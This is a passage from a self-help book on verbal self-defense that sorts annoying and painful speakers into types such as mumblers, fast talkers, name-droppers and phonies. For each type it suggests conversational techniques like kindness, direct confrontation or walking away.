upset the status quo, you might want to employ some techniques you learned about in Chapters 10 and 11:
Tension Blowouts, Love and Kindness, Direct Confrontation, and Vicarious Fantasy. These less aggressive
approaches can even be the catalyst to turn around the attitudes of these “professionals” and authority figures.
Sometimes these people say mean things to you unwillingly, because they are under an inordinate amount of
pressure, which stimulates their short verbal fuse. Sometimes a kind word and compassion is all it takes to turn
their toxic words around.
Page 215
PART 5
VERBAL COMBAT AGAINST VERBAL ABUSERS
Throughout the next three chapters, I refer to verbal abusers, and sometimes painful verbal abusers, because
of the emotional and sometimes physical pain these people can cause. Verbal abusers don't always do that
much harm. They are simply annoying. Others are rather revolting and disgusting, and still others are
downright dangerous and can do tremendous damage.
Chapters 17–19 discuss each of these categories of verbal abusers and how to handle them. You will learn how
to defend yourself against them and to either control their invasion or exterminate them from your life. You will
begin by learning about the most benign vermin, the annoying ones, then graduate to learning about those
vermin who disgust and revolt you, making your life so uncomfortable that they make you paranoid and
suspicious of everyone around you. Finally, you will learn about the worst kind of verbal abuser, those who
can destroy you by gnawing at your insides. You will learn how to extinguish them from your lives by using
effective verbal weapons to annihilate them forever.
Page 217
Chapter 17
Verbal Combat Against Annoying Verbal Abusers.
These types of verbal abusers won't hurt you; they are just uncomfortable to be around. If they are around for a
short period of time, you can live with it, but if they are around for prolonged periods of time—watch out!
They will eventually get on your nerves, just like an infestation of ants. Just remember that if you are not
careful with which defensive technique you use you might cause them major emotional damage. These Verbal
Annoyers come in 13 different types. In this section, you will learn characteristics of each of them and the best
techniques to handle them.
Mumble Jumble
According to a Gallup poll, people who mumble are so off-putting that 80 percent of those questioned found
mumbling to be one of the most annoying speech habits. The reason is obvious. You can't understand a word
they say! You have no idea what they are talking about, so you ask them to repeat. They do. You understand
them and then they mumble again. You end up asking them to repeat what they said after everything they said,
which is frustrating for both of you. They are mad at you for not understanding, and you are mad at them for
not speaking up!
Page 218
To avoid the two of you wanting never to speak to one another again, you need to be open and directly confront
the mumbler, but you must do it with a Love and Kindness Strategy. You might also want to help them by
giving them some pointers on how to stop mumbling, but be very careful. Do it in a diplomatic way so that
they won't be offended. Since most mumblers tend to suffer from fragile self-esteem—they often feel they
aren't worthy of being heard—be gentle with them!
Here's what you might want to say to a mumbler: “I am so sorry, I don't mean to be disrespectful, but I am
having trouble understanding everything that you are saying. Since it's important for me to hear everything [or
“since I'd like to hear everything”], don't be offended if I ask you to repeat something.”
If you feel comfortable doing this, you might want to say the following: “You know, I was reading this book on
verbal self-defense the other day, and it said that people need to spend about one second on each vowel when
they speak. I tried it, and it really helped me. It really worked. Once again, I don't mean to be offensive, but
perhaps if you can try this technique and draw out each vowel for a second, I can understand you a lot better.”
Then smile. A smile diffuses the intensity of the situation and presents it in more casual light. If they still
mumble and you really need to listen to what they said, do the best you can. Block out all other stimuli and
concentrate like mad. If the person is not very instrumental in your life, unplug—leave! It's not worth being
tortured.
Sonic Boomers!
Ouch! These people are not only embarrassing to be around, they can actually hurt your eardrums or shock
your nervous system every time they speak. According to a Gallup poll examining the most annoying speaking
habits, close to 75 percent of the respondents found a loud voice to be annoying.
People tend to speak too loudly for several reasons. First of all, they might have a type of hearing loss due to an
obstruction in their ears.
A second and more common reason people speak so loudly is that they need attention. They suffer from such
insecurity that they think only of themselves and their need to be noticed. This usually makes them
unconscious of the world around them. They don't care if they are in a doctor's office, on an airplane, or in a
library. No place matters, and nothing they say matters. They could be telling you the most intimate detail of
their life or of someone else's life. It makes no difference: everyone within 100 miles of them will hear their
sonic-booming voice.
Once again, you have to be a diplomat. Smile and use the Calm Questioning Technique, saying “I don't mean
to be rude, but do you think you can perhaps lower your

Page 219
voice? My ears are really sensitive to certain tones.” You aren't lying. Your ears certainly are sensitive to
certain tones—their tones!
The key is to couch your words with politeness and sensitivity, since you need to have empathy for the possible
understandable contributing factors to their loudness. If they can't reduce their decibel level, you can reduce
yours, by either walking away from them (if you don't have to be around them) or by wearing earplugs (if you
do have to be around them).
You might also want to use the specific Direct Confrontation Technique that I talk about later in this chapter.
This approach encourages you to direct them to see a physician or a speech pathologist who can possibly help
them lower their booming voice. A person who speaks in such a loud voice often has related problems, such as
hoarseness of the voice, vocal nodes (growths on the top portion of the vocal cords), vocal ulcers, or ear
problems. On the other hand, they might just have bad speaking habits. Whatever the problem is, you might be
doing them a huge favor.
Meek, Weak, and Squeak
Like the Mumble Jumblers, these people frustrate you because you have so much trouble hearing them. Like
the Sonic Boomer, the sound of their high-pitched voice can also hurt your ears. Over 60 percent of the people
surveyed feel the same way you do. They don't respond well to people who sound like this and don't know
why.
The reason is that they are registering that these people are psychologically passive-aggressive. They are
sickeningly sweet-sounding. But beware! They can blow their top on you any minute!
If you experience the wrath of a meek squeaker, run for your life! Unplug from them as rapidly as you can!
They are dangerous and can cause you lots of trouble. If for reasons you can't control, you can't unplug, do the
Tension Breathing Technique and know before whom you stand. Keep checking in with them and confronting
them so that there are no surprises. Keep asking them questions, so that you know where they are or have an
idea about what is on their mind most of the time. Obviously they won't be open and forthright, but they might
slip up from time to time, so keep asking.
Baby-Voiced and Cutsie-Wootsie
The worst part about these people is that they actually think they sound great, that they are getting points for
sounding like a bimbo. They might be cute during intimate moments in the bedroom with their lover, or while
talking to babies or small animals.
Page 220
But when people talk like this in public, others cringe. You cringe. You might cringe so badly that you feel the
hair standing up on the back of your neck whenever you hear them speak. That voice might even stop you in
your tracks.
If you are the one cringing, it is rather awkward to tell them to cool it and to grow up, unless you are very close
to them or related to them and, thus, used to speaking boldly and bluntly to them.
Short of telling them to grow up or to shut up, you might just want to Breathe Them Out and Unplug. If you
don't have to be around them, don't be. Try to get away from them every chance possible, before you say
something you might regret or something that will probably make them cry. Since those who possess this voice
quality are often exaggerations or cartoonish caricatures of stereotypic female roles, this expression of
emotional behavior might occur.
Your best bet is to breathe them out! If you keep hearing their miserable tones resonating in your heads at a
later date or time throughout the day, employ the “Stop the Thought!” Technique immediately! Both tactics
will reduce your blood pressure and calm you down.
On the other hand, if you have nothing to lose and you don't care whether you will alienate them, perhaps for
good, go ahead and use the Mirroring Technique, where you actually imitate or mirror back the way they are
coming across. In essence, you are mocking them. Sometimes, they might be good-natured about it and laugh
as they know that they sound that way. They like that they sound that way and they want to keep sounding that
way. On the other hand, they might still be laughing with you, but crying inside. They might have always been
made fun of and your cut is deep. You might have really hurt them and caused them more emotional damage.
Other times, they might become serious and say that they hate the sound of their voice. Since you do too, and
assume that others do as well, do them a favor and suggest that they see someone to help them improve their
voice.
Besides the Mirror Technique, you might just want to directly shoot from the hip and use the Direct
Confrontation Technique. The following “Talk Back!” section gives you an example of how to tell them they
need help with their voice.
Page 221
Talk Back
Gary: I don't mean to offend you in any way, but I think that it might be in your
best interest to improve the sound of your voice.
Sherry: I hate my voice. Some people tell me it's cute, but I can't stand it.
Gary: I know that you can get help with it from a licensed speech pathologist
who specializes in helping you with your voice.
Sherry: Really? Where do I find one?
Gary: Look in the Yellow Pages or ask an ear, nose, and throat doctor, but it's
important to see only a speech pathologist who specializes in treating the voice.
I'll even see if I can get you some names.
Where to Direct a Person with an Annoying Voice
What I am about to say is extremely important, so read carefully! Specifically, do not recommend that they see
a singing teacher, but rather that they see a licensed and qualified speech pathologist. And it is not enough for
them to see just any speech pathologist. They must see only a speech pathologist who specializes in and has
extensive and ongoing experience with patients who have voice problems. Otherwise, you are opening yourself
up to possible further problems, or no improvement at all, by treatment from someone who might not be very
well educated or trained. If your therapist is competent, you should see results in three months. If you don't,
quit immediately!
In order to find such a speech pathologist, consult with a qualified otolaryngologist. You might want them to
examine your vocal cords to see whether any medical problems exist. If so, your private health insurance or
HMO can often cover the speech therapy treatment program, depending on your policy. If the doctor finds
nothing wrong with you, see the speech pathologist anyway. Tell the pathologist that your health insurance
won't cover treatment because the doctor found no medical condition, and that you would appreciate their
working with you financially and, perhaps, providing you with a lower rate. Any decent therapist (or human
being, for that matter) will usually accommodate you, since treatment is often costly.
Another way to find a speech pathologist who specializes in voice disorders is to look in the phone book! It's a
great place. And whether you look in the phone book, get a name from a physician, or a friend refers you, ask
questions!

Page 222
Ask these questions before seeing any speech pathologist:
1. What kind of patients do you mostly see in your practice?
2. What is the largest percentage of people you see with that condition?
3. How many speech and voice patients have you seen over the past year?
4. How do people usually find out about you?
5. What is the average length of time you treat a patient?
6. What kinds of techniques do you normally use?
7. Where were you trained? What degree do you have? Are you licensed?
8. Do you take insurance if a doctor refers me due to a medical problem?
The Monotonous Drone.
You, along with 75 percent of the population, can't stomach listening to someone who puts you to sleep when
you are not sleepy. This monotonous voice is the number one killer of interpersonal relationships between men
and women. So much of the meaning of what the person wants to communicate is lost in the communication
when there is a lack of vocal excitement. They are so confusing because you really never know where you
stand with them. You don't know whether they like you, whether you have done something wrong, or whether
they are pleased or angry about something.
People who sound boring and monotonous usually don't mean to be. Often, they live in fear. They are
emotionally repressed. They might have come from a family where it was considered bad to express
themselves with unbridled emotion, and so they were conditioned to act in a more controlled manner.
Unfortunately, the results of their upbringing turned out to be deleterious to their communicative abilities with
others. It ruined many intimate relationships by helping to create misunderstandings. It both confused and
frustrated the person with whom they were having the relationship, which often resulted in a sad ending.
You need to keep checking in with the Monotonous Drone. Keep asking them questions to see where they are
coming from—how they are thinking and what they are feeling. Don't be afraid to ask them about their
feelings. Use the direct confrontation to share your feelings with them. If you're doing business with them, also
check in with how they are feeling about a particular issue.
Unless you are super close to them—you've been intimate, are best friends, or are close family—you might
want to suggest that they get into either a speech or regular counseling program to help them express
themselves. Let them know you are not criticizing them.
Page 223
Gingerly, speak to them in a loving and delicate manner. After all, they are sensitive, and they do tend to keep a
lot inside. Make it safe and comfortable for them. Let them know that you are in no way judging them, nor do
you think less of them.
The Fast Talker
These people are also very frustrating to be around; they placed in the top ten of the Gallup poll's most
annoying people. Like the Sonic Boomers, they often don't even realize they talk so fast. Like the Mumblers,
they become quite frustrated because they are constantly asked to repeat things over and over again.
The Fast Talkers are often angry and frightened people. They, like the mumbler, suffer from a lowered sense of
self-worth. They apparently don't feel worthy enough to have the other person take the time to listen to them,
so they hurry up and get it over with. They might also be highly neurotic people or suffer from bipolar disorder
that makes them always in a hurry and on the go. Because they usually don't even realize what they are doing,
don't ever abruptly tell a Fast Talker to “slow down” in an agitated manner. Because of their often lowered
sense of self, they are likely to get defensive and shut down. They might even begin to resent you. Unless you
use the Love and Kindness approach with them, you can forget about ever understanding them again. They will
continue to speed through sentences, leaving you in their wake, and not caring whether you understand them or
not. The Fast Talker is more hostile than the Mumbler, who is more concerned about whether you understand
him.
You can try to keep up with the fast talker by listening intently. But this is sometimes nearly impossible to do.
Therefore, consider using the polite Love and Kindness approach used with the Mumbler, but use more of it,
since they are more hostile. Put the blame on yourself. Don't blame them. Let them know that you are having a
hard time concentrating today and that they can really help you out if could talk a little slower. If they are a
more receptive type of Fast Talker, you might want to use the identical approach that you used on the
Mumbler. Let them know that you have no intention of offending and that you read a book (this one) that
suggested that for people to better understand others, it is best that the speaker draw out each vowel for
approximately one second. This usually works, especially if it is said diplomatically and respectfully.
Name-Dropper
How annoying it is to sit through a conversation and hear about this person and that person and what they said
to do and what they did to you. The people don't necessarily have to be top celebrities. They can also be
prominent people within your community. Name-dropping also includes always bringing up family members
(such as, “My wife said this,” “My son did this,” “My husband said that.”). Who the heck cares what they said
and think? We care about what you said and think. Are you brainless? Do you always need other people's
opinions or words to function?
Page 224
Certainly, once in a while it is good to hear a comment from someone else as it pertains to a particular topic
being discussed, but a steady diet of it is beyond annoying—it is obnoxious. People find this so odious that
they will turn against you at the drop of a hat.
Many people name drop because they have nothing going for them on their own, so they have to ride on
someone else's coattails in order to feel important! Even if they seem to be important by other people's
standards, they might not feel so important deep down inside. Therefore, they have to resort to such annoying
behavior.
Because they are insecure, you might just want to Breathe Them Out and let them get their jollies dropping all
the names they want all over the place. Even though you and everyone else thinks they are obnoxious, let them
feel that they are important.
Try to look at the situation as amusing and entertaining rather than getting mad and annoyed. They might think
they are being snobby or trying to come across better than you by letting you know all the important people
they know, but in reality, they are screaming out how very insecure and empty they are. So have pity. Be
compassionate. Give them love and kindness, and remember to breathe out any tension they might still cause
you, despite your efforts to be compassionate.
The Know-It-All
The Know-It-All is very much like the Name-Dropper: both have a great need to show off and feel important.
They both need an audience and need others to think that they are in some way superior. Instead of trying to
impress you with the important people they know, they try to impress you with the important information they
know. In reality, they are feeling inferior and insecure about themselves. They might indeed know a lot and
have a great deal of information at their disposal.

Page 225
However, there is certainly one thing they don't know about, and that is how to deal with other people. They
tend to talk at you, not with you.
Blow and let them go. They need the attention more than you need to be right, so let them impress themselves
with how much they know. In essence, let them talk to themselves. Don't take what they say to heart. Just use
the Tension Blowout Technique to let out any of your excess frustration. Often, similar to the case of the
Name-Dropper, the more they feel attended to and appreciated, the less they will have to prove themselves and
the less reason they will have to show off.
Therefore, the Love and Kindness Technique might put a stop to their annoying actions quicker than ever.
SlangGangers.
While, as we discussed earlier in this book, it might be appropriate to use slang or even four-letter words in
some social circles, it is most annoying when used out of context. It is met with a great deal of disdain when
used away from the group where it is accepted as the norm.
Besides cursing, the SlangGanger's speech is consistently peppered with “like,” “um,” “ya know,” “know what
I mean,” and “man.” It also contains poor grammar, mispronounced words, and a whole host of made-up words
constituting an entirely new language.
If you are on SlangGanger's turf, if you don't know what certain words mean, ask them. Better yet, as soon as
you know that you will be around them, try to find out from someone who is familiar with their slang and way
of speaking what certain words mean. Like speaking in a true second language, you will relate to them much
better if you incorporate some of their terminology into your own speech pattern. Take care, however, that you
don't use the words in the wrong context. Doing so will only embarrass you.
Don't correct their poor grammar or their use of filler words, since this is part of the accepted lingo.
On the other hand, if they are on your territory, it becomes a different matter. You have the right to establish
communication ground rules on your turf, just as they did in theirs. It's the old concept of “when in Rome, do
as the Romans do.” Be strongly advised, however, that you must never embarrass the SlangGanger, especially
in front of others. This is demeaning and puts them on the defensive. They might rebel, clam up, or lash out at
you verbally, and in certain cases even physically. They will become extremely angry at you, and from their
perspective rightfully so. You have insulted who they are. You have disrespected them! When you have a
private moment with the SlangGanger, let him know, in a calm and collected, unemotional manner, while
smiling, that you would prefer it if he would modify his words in front of you. In essence, you are using the
Direct Approach in a calm manner. You might also want to incorporate the Humor Technique and make light
of the situation in order to help him get the message.
Page 226
Conversation Hogs
The Conversation Hog or Interrupter types of verbal abusers are absolutely, without a doubt, the number-one
most annoying type of person. According to a Gallup Poll, close to 90 percent of respondents could not stand a
person who interrupted them. They tolerate this offensive behavior less than any other. If someone interrupts
you, they're keeping you from finishing your thoughts, which will undoubtedly frustrate you and cause you to
either clam up or lash out. Perhaps some of the biggest arguments you had were when you were put on the
defensive because you kept being interrupted. Someone who constantly interrupts you is a major control freak.
They are so insecure that they always have to have the floor. They always have to have the attention.
A sub-category of the Conversation Hogs are the Topic-Changers, who will not hesitate to change the topic of
the conversation midstream. They disrupt both your and their own train of thought. Both types of verbal
abusers are into controlling others and situations.
Be direct! They might not hear you because they are often so self-absorbed! You might have to tap them or
have light physical contact so you get their attention.
Tell them that you are not finished talking yet. First, do it politely with a smile. If it doesn't work, do it louder.
Give 'Em Hell and Yell! You also have the option of Mirroring them as you talk over their interruptions.
Whatever the case, it is not only frustrating, but exhausting. Be careful knowing “before whom you stand”
before you do the last three techniques. If you want to maintain your dignity, Unplug for the moment and
interrupt them by calmly excusing yourself. This way, they will have nobody to interrupt! Let them know that
they cannot take over the reins and always be in verbal control.
Repeat, Repeating, Repeaters
In this case, I am not talking about people with speech impediments who stutter, have a neurological condition,
or have Alzheimer's. Instead, I am talking about people who seem to enjoy hearing themselves talk. They say
the same thing over and over again. They not only tell you the same story or joke, they tell everyone else, too!
Often they repeat the same story because they want more feedback from you or they want to vent their
emotions, or they want to relive the situation. No matter what the reason, it is annoying and you feel like
running away!
Since these people are usually quite insecure or emotionally distraught, or perhaps they suffer from some form
of brain damage, have some compassion! If you are feeling impatient with them, use the Breathing Technique
to calm yourself down. Primarily

Page 227
give them Love and Kindness. If you find that they have really overstepped their bounds and overstayed their
welcome, politely and kindly tell them that you heard the story before. Unplug for the moment by either
changing the topic or by physically leaving the present environment. By leaving to go to the bathroom and
returning, you might get them off the repetition tract.
Wordy Ones
Like the Know-It-All, the Wordy Ones are out to impress. They try to use big words to show off and are
extremely verbose. They say a mouthful when they can just say a biteful. In their insecurity, they attempt to
reflect a “better than you” or a “snobby” attitude, when in reality they are screaming out in emotional pain.
They hunger for social acceptance and want to appear smart. They have the illusion that people perceive them
as being smart, and that they will therefore be treated with more respect.
Just as you would do with the Slangmaster, if you don't know what a word means, Ask! If they are too wordy,
you might want to stop them and use the Calm Questioning Technique. Ask “What's the bottom line?” If they
keep being wordy throughout the conversation, keep asking what the bottom line is. Without their knowledge,
you are conditioning them. Remember the experiment in Psychology 101 about Pavlov's dog? It's the same
thing! When you ask them the bottom line, do it with Love and Kindness because of their need to be accepted,
even though it might not seem like it at the time.
The Whiner
Unless it's actress Fran Drescher (my ex-client and dear friend), star of The Nanny who makes tons of money
because of her nasal voice, people will cringe around those who sound nasal. Nearly 70 percent of those
questioned in a Gallup poll said that they were turned off by the sound of this type of voice. Other research
shows that when someone sounds nasal, they aren't taken as seriously and aren't considered to be as attractive
and intelligent as those with non-nasal sounding tones.
I'm not talking about people who sound nasal because of a neurological condition or birth defect.
Page 228
Instead, I am talking about those who sound nasal because they have sloppy speech and don't open their
mouths when they speak. In that way, they are similar to the Mumbler. They don't realize how their poor
speaking habits negatively affect those who listen to them.
If you're one of those unlucky souls who is forced to listen to a Whiner, especially for a long time, it is best to
use the Direct Confrontation Technique coupled with the Calm Questioning Technique. Do this as gently and
politely as you can, while incorporating the Love and Kindness Technique, as difficult as that might seem. You
might want to start out by saying to them that their voice sounds rather nasal. Then ask them the question, “Do
you have a cold?” If they say no, which they probably will, ask whether they have allergies. If they say no, go
back to the Direct Confront Technique and say that you don't mean to be offensive but their voice really sounds
nasal. Say this in a polite tone, as gently as possible.
Now don't just leave them standing there. Give them something to help them. If you've criticized them, offer
them a solution. Tell them that you read in a book (this one) that when people have nasal sounding voices
(which many people have) your back teeth should never touch when you speak. This helps you keep your
mouth more open, so you won't sound as nasal. Tell them you tried it and it worked! If they tell you they too
hate the sound of their nasal sound, refer them to a speech pathologist using the method I taught you earlier in
this chapter.
Page 229
Chapter 18
Verbal Combat Against Painful Verbal Abusers
In this chapter, you learn how to use a variety of the most effective strategies against the eight types of painful
verbal abusers who may infest your life. You learn about the weapons that best deflect their repulsive verbal
goo. The verbal abuser may often require somewhat stronger approaches than those you used in Chapter 17.
Verbal Abuse Can Actually Make You Nauseous!
Unlike the annoying verbal vermin, who mostly irritate you, the painful verbal abusers mostly anger you and
cause you extreme emotional upset. Different degrees of emotional upset can bring out the worst in you and
cause you to react in ways alien to your normal behavior. Although you are usually not pushed over the edge—
to the point of no return—the verbal abuser could be the one to finally push you there!
Page 230
Their abuse can embarrass you. It can frustrate you. It can confuse you. These people can make you feel
suspicious and untrusting of others. In essence, they can make you feel sick to your stomach. They can even
cause you to feel nauseous and on the verge of throwing up!
Although they are definitely toxic, they are usually not toxic enough to cause havoc in your life, hurt you, or
attempt to destroy you like the dangerous verbal abusers will. In the Chapter 19, we will learn what
ammunition to use to protect ourselves against those verbal enemies. For now, let's focus on the opponent at
hand—the painful verbal abuser.
The Verbally Dead
They are verbally cold and secretive. They rarely if ever divulge information about themselves. They just
gather information. They don't give you any vocal reaction one way or the other, so you find them very
difficult to read. You don't know how they really feel about something—if they really like something or can't
stand it. Their reaction is the same in either case.
Initially, one might be attracted to them. Women in particular might fall prey to the stereotypic “strong but
silent type” of man—the John Wayne type, the man of few words. What they fail to realize and soon come to
discover is that you can't have an open and meaningful relationship with anyone who doesn't talk to you. It's
not going to cut it with someone whose conversations consists of “yep,” “nope,” “I don't know,” “maybe,” “I
guess,” or “I don't care.” This is not the case for men only. There are women who are The Verbally Dead as
well. No matter what their sex, they always keep you off guard.
They may not be indifferent, and they may really care, deep down inside. The fact that they are so inexpressive,
however, makes you think they don't like you, that they are judging you and being critical of you. It makes you
think that they are indifferent about you. They don't care if you live or die.
Some of The Verbally Dead use their silence to try to manipulate you or even intimidate you. They derive a
great deal of pleasure out of watching you behaving uncomfortably and squirming around their silence. In
essence they are using their “iced state” as sort of a power trip to see how long you can actually “chill out.”
When they become more talkative and share their thoughts and feelings, then they begin to feel uncomfortable.
The reason is that they feel out of control—as though they have lost their power over you! Their perceived
power lies in keeping you guessing and wondering what is going on inside of them.
The bottom line with these of The Verbally Dead is that you can never change them and force them to open up.
They have to want to open up on their own.

Page 231
The one thing you cannot do is to demand that they show some emotion in their voice and sound more
animated. Doing this will make them clam up even more. Though you feel like choking them and screaming
your head off at them, neither physical violence nor using the “Give 'Em Hell and Yell” strategy will make a
difference.
Two tactics seem to work best with the Verbal Refrigerator. No matter how angry or frustrated you feel at
them, force yourself to use the Love and Kindness Technique. They desperately hunger for it. Most of The
Verbally Dead are that way because of some deep-rooted psychological problem. Most of these psychological
problems developed in childhood, where the people might have been so emotionally scarred or traumatized that
they clammed up! They may have done this as a psychological survival mechanism. Unfortunately, they may
have carried this now-unnecessary protective gear into their adult years, which makes for some huge
complications in human relationships. Therefore, accepting them through this technique makes them feel safer
and more apt to trust you and thereby open up to you.
The Calm Questioning Technique also works very well, but you have to know when to back off. You can't fire
a series of machine gun-like questions at the Verbally Dead. You have to ask them slowly and wait for an
answer. Be quiet. Be silent! Wait for them to talk! Consciously or not, they may be using this as a ploy to test
you. Let them talk. Ask open-ended questions about what they think about a topic or issue. Ask questions that
do not require a “yes,” “no,” or one-word answer. Use the Elaboration Technique you learned about earlier in
this book when learning how to develop you own conversational skills. Just keep asking them questions, and
make sure that you ask in calm, warm, soothing tones.
Verbal Vomiters
People in this category are not fully aware of what they are saying to you. In fact, they speak in a free-flowing
stream of consciousness that often makes little or no sense. They are often thoughtless and rarely think before
they speak. They tell all! And I mean ALL!!! While it may be amusing and even titillating and interesting at
first, after a while they end up telling you things you really don't want to know. The information is all too often
inappropriate and way too personal. People who reveal too much information not only tell you their intimacies
and problems, they tell everyone else with whom they come in contact—from their bosses to their colleagues to
anyone who will listen. They don't discriminate. They won't think twice about telling a perfect stranger their
life story. They have no boundaries. Anyone and everything is fair game. They also have an incredibly difficult
time keeping secrets.
Page 232
As long as someone will listen, they will talk—often non-stop. These chatterboxes are so hungry for attention
they will say just about anything to get it.
If there were a TA (Talkaholics Anonymous) group, the first thing I would recommend would be to encourage
them to attend meetings on a regular basis. However, since it does not exist yet, the following techniques can
be as helpful to you as they have been to so many others who have been exposed to verbal abusers.
You must never tell these people anything you wouldn't want anyone else to know. Therefore, think before you
speak to them. As talkaholics, they need material to talk about. What better material than that which someone
else told them? It doesn't matter if that “someone else” is you and you swore them to secrecy. Chances are that
they were so self-absorbed, they didn't remember that you told them not to tell anyone what you just divulged.
So, don't be as unconscious as they are. Know before whom you are talking.
If you can somehow get their attention, the Direct Confrontation strategy can be most effective when it is
coupled with the Love and Kindness tactic. Tell them how much you care about them (if you do) and that you
are not there to criticize them, but you want to tell them something that can perhaps help them. Point out to
them that sometimes they might talk a bit too much and say things that are rather inappropriate; that maybe
they should monitor what they say better.
If they ignore your efforts and continue on their merry chatty way, in order to keep your sanity, just use the
Tension Blowout Strategy so that listening to their stupid unconscious verbal diarrhea won't make you want to
rip your own hair out.
Sugary Sweet Phonies
These people tend to be so phony that they can make you sick. These sneaky brown-nosers will stab you in the
back every time. They manipulate and flatter to death just to get their way.
They may sing your praises and lavish you with all kinds of verbal gifts—sweet words and compliments. When
you attempt to assuage their flattery or shrug it off, they will have none of it. They keep insisting that they
mean what they say. That you really are “all that.” They won't let up until they see that smile across your face
staying there. They got you! They got you hooked! Congratulations! You have been manipulated. They are
either after
Page 233
something you have, something that you can give them (even the prestige of being associated with you), or
even a contact you may have who could somehow help them. Watch what happens when they don't get what
they want! Suddenly the sweet words either stop or turn sour.
Humor is the best strategy to use with these verbal candies. This lets you know that you are onto them and that
you aren't buying their manipulative ways. Another approach is the Direct Confrontation approach, but always
in a lighthearted way, in which you let them know that you appreciate their kind words, but you aren't buying
it. For example, you can say “Okay, now that you've buttered me up, what is it that you really want?” With this
approach as with the humor tactic, they will usually realize that you are onto them and back off. Keep smiling.
Laugh it off. They'll get the message.
Talk Back
Here are some light-hearted things you can say to sugary sweet phony people to
let them know you are on to them.
“You know, I could probably go into insulin shock if you keep that up!”
“Watch it! If you say anymore of those sweet words, there will be an army of
ants marching all over me.”
Poor-Poor Me.
These people are so difficult to be around because their often-sad words, sounds, and phrases bring you down.
Their favorite party is a pity party. They love others to “poor poor” them to death. It is like marrow to their
bones, fuel to their system. This makes them feel worthy, alive, that someone cares about them. They are so
needy for attention and affection that they use depression and illness as a means of getting it.
If their verbal sadness is issue-related or happens at certain times, there is no problem. But if it happens a lot,
you are dealing with someone who may have a serious mental condition—an acute depression, bipolar
disorder, or borderline personality disorder.
One of the things you can't do is cheer them up. Deep inside, they get off on spreading gloom and doom.
Because they do it for effect, in order to get a reaction out of people, they obviously need attention and
affection. The best approach is to use the Love and Kindness approach; acknowledge that they are hurting or
are upset and let them know that you hear them and understand what they are saying—that you empathize how
they must be feeling.

Page 234
They do not want you to solve their problem. They do not want to hear a list of your brilliant ideas. The fact
that you said you can understand that they feel bad is what they need to hear. If you offer advice, they will
“yeah but” you to death. So, the key here is to give them no reaction—especially no pity.
If their verbal sadness is sporadic or situationally related, then you can stick around and do the Tension
Blowouts so that their negative energy doesn't glom on to you. On the other hand, since they require so much
work and are so draining, being around them for long periods of time may be debilitating. You might have to
Unplug from them, no matter who they are in your life. If you can't unplug physically, you might want to do it
mentally.
“Fibbers”
Sometimes these “Fibbers” are so caught up in their own lies or stories that they themselves lose track of
whether they are telling the truth. They are the ultimate verbal manipulators and usually lie to protect
themselves so that they can either get out of something or into something. Sometimes liars are blatant about it
and exaggerate highly. Other times, they are subtle. Sometimes their manipulative stories are harmful, not only
to themselves but to others. But the majority of the time, their stories are meant to enhance their poor image,
persona, and self-esteem. No matter what they do, their self-worth has a huge hole in it.
The story they have told and how you perceive it decides what strategy you should use. Depending on who
they are in your life, you may want to use the Direct Confront Technique or the Calm Questioning Technique
to let them know that you are no dummy, that you know they have been lying, and that perhaps they have an
explanation. This technique allows for open channels in communication. It is essential for you to remember,
however, that you must always keep your cool. Breathe, breathe, breathe.
You might want to consider using Tension Blowouts. Use humor, even if it's only funny to you. Let it blow and
let it go!
*%#&@ Cussers!
Some people don't mind others who curse—in fact, they may like it a lot, as they may feel a closer bond to the
person, especially if they too curse. In many instances, some curse words don't have the same negative or
shocking charge as they once did. In fact, they are commonplace. However, in most aspects of society, people
don't approve of cursing. That is why there are movie ratings available for parents who may not want their
children to hear films with verbal vulgarities. A Gallup poll showed that out of 10 annoying speech habits,
using curse words was the second most annoying habit.

Page 235
Often people who curse want to sound tough or appear “cool,” “hip,” and “with it.” They are not necessarily
bad people. They are just desperate for acceptance and want to portray a certain image. As mentioned earlier in
the book, sometimes that image works in one area of society and not in others. If a “cusser” is in your area of
society and you don't like it, here's what you can do!
If the cusser is related to you, you have more of an opportunity to use the Direct Approach Technique. If the
cusser is your child, you have even more leeway, because you have access to the “Give 'Em Hell and Yell”
Technique. This of course is a technique of last resort, used when your child doesn't get the message through
Love and Kindness, Direct Confrontation, Calm Questioning, or Humor. Then and only then would it be
recommended to Give 'Em Hell and Yell as a final option.
If the person is not related to you but is close, use the Direct Approach Technique. However, it is imperative to
let them know in a lighthearted, matter-of-fact manner that you don't like cursing. Don't chastise them like a
schoolteacher or reprimand them. That will definitely drive a wedge into your friendship. Let them know in
non-threatening, non-judging, easy language that it sounds better to you when they don't curse.
You see, since they mostly curse in order to appear cool and to be accepted as part of the group or scene, help
them feel part of the scene through a Love and Kindness tactic. Let them know that they are “way cool” in your
scene when they don't curse.
After all, they are the ones who need the most acceptance, so accept them with Love and Kindness by saying
“You really sound better” or “you have a better image” or “you come across cooler” when you don't talk like
that. You know what I mean?” And then smile. You may even want to put your arm around them or hug them
for assurance, depending on how close they are to you. The one thing to remember is not to talk down to them
or reprimand them for cursing. Do it using the suggestions I just listed, so that they will actually listen to you.
Me, Me, Me
I am not talking about the “me me me” that a singer signs when doing vocal warm-up exercises. Instead, I am
talking about the self-consumed narcissistic person who can't see past the mirror. These poor souls are so
insecure, they need constant approval from the mirror, and from everyone around them, including YOU! They
are always seeking someone to say how great they are. They always talk about their favorite subject—
themselves. Heaven forbid you try to bring up another topic—they will somehow manipulate the topic so that it
applies to them. And voilà, you are now back discussing
Page 236
the only thing they can relate to—themselves! Even if you are discussing a world crisis, somehow they will
manage to manipulate the conversation to bring it back to them.
The me me me crowd will go for hours and hours talking about themselves without even considering you or
asking you any questions about what your thoughts are on a particular matter. They are self-consumed in every
way.
Even though you may not realize it, these tortured souls suffer greatly. They are not self-absorbed because they
want to be; they are self-absorbed because they have to be.
Even though their self-absorption may test your patience, you need to have compassion for them. The most
effective technique to start with is the Tension Blowout Technique, where you let go of any tension you feel
when you are around them. Next, give them a dose of Love and Kindness, followed by Directly Confronting
them in a calm yet controlled tone. Never accuse them, because this puts them on the defensive.
In talking to this narcissistic type of person, you need to say something like “You can make me feel a lot more
welcome in the conversation if you ask me some questions about myself.” In addition, you can ask them what
they think of your opinion. Since everything pertains to them and since they hear things only in terms of what
effect they have on others, they will most likely accommodate you and heed your request, and thereby change
their behavior. Why? Because you have given them the power—power they require so badly as part of their
self-worth, to help you. You have spoken to them in their language—THEM!
The Anointed One Has Spoken!
These verbal abusers tend to underestimate others or blow off and tune out what anyone else says. They
consider it irrelevant. What is relevant is only what they say! They are know-it-alls who often use their
knowledge as a defense mechanism to overcome their insecurity. They feel that they have spoken, and so be it!
